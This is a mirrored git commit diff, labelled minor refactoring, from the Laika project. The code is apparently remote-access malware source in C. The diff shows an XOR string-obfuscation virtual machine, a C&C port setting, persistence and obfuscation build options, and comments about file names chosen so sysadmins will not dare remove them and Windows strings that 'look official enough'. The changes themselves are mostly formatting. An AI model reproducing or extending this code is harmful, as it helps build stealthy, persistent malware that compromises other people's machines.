mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-06 21:40:18 +00:00
VMBoxGen: minor refactoring
This commit is contained in:
@@ -63,13 +63,15 @@ struct sLaikaB_box
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* clang-format off */
|
||||
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) \
|
||||
{ \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
@@ -83,7 +85,7 @@ struct sLaikaB_box
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
@@ -99,7 +101,7 @@ LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = {0}, /* zero initalized */
|
||||
.code = {0}, /* zero initalized */
|
||||
.stack = {0}, /* zero initalized */
|
||||
.pc = 0
|
||||
};
|
||||
@@ -116,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
||||
/* clang-format on */
|
||||
|
||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||
#include "lboxconfig.h"
|
||||
|
||||
|
||||
@@ -13,16 +13,16 @@
|
||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||
|
||||
/* settings */
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
#cmakedefine LAIKA_PERSISTENCE
|
||||
#cmakedefine LAIKA_OBFUSCATE
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
|
||||
/* raw obfuscated strings */
|
||||
|
||||
/* =====================================[[ Linux Strings ]]===================================== */
|
||||
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
||||
|
||||
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
||||
@@ -33,8 +33,8 @@
|
||||
|
||||
/* ====================================[[ Windows Strings ]]==================================== */
|
||||
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||
|
||||
/* looks official enough */
|
||||
|
||||
Reference in New Issue
Block a user